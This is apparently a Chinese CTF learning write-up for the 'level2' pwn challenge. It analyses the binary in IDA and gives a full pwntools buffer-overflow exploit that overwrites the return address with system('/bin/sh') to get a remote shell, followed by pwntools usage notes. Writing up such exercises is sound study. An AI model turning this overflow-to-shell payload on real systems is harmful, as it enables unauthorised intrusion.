level2-嘌来的wp
这次做下level2这道题。
开始先自己去分析结构:
1、IDA打开,看到push的时候会打印出Hello World!,然后会call到system
接着shift+F12查看字符,发现有system、/bin/sh
然后回到main函数中F5,
我们看到溢出函数也很简单,因此此处我们可以构造payload获得shell,从而得到flag .
2、函数的栈帧如下:
3、构造代码,在这里的时候构造出来问题查看wp。
from pwn import * elf = ELF("./level2") io = remote("111.198.29.45",44725) sys_addr = elf.symbols["system"] bin_addr = elf.search('/bin/sh').next() payload = 'a' * (0x88 + 4) + p32(sys_addr) + p32(0) + p32(bin_addr) io.recvline() io.sendline(payload) io.interactive() io.close()
4、结果
知识回归:
这次学到了一个新的函数ELF,以及下面的方法symbols和search
ELF 用来操作ELF文件的工具 elf = ELF('pwn') hex(elf.address) hex(elf.symbols['write']) hex(elf.got['write']) hex(elf.plt['write'])
与pwnlib.tubes的常见交互方式
recv()
recvuntil()
recvline()读取到'\n'
recvlines(n)
recvall() 读取到EOF
send()
sendline()会自动加换行符
作者:23R3F 链接:https://www.jianshu.com/p/d3187a63c582 来源:简书 著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。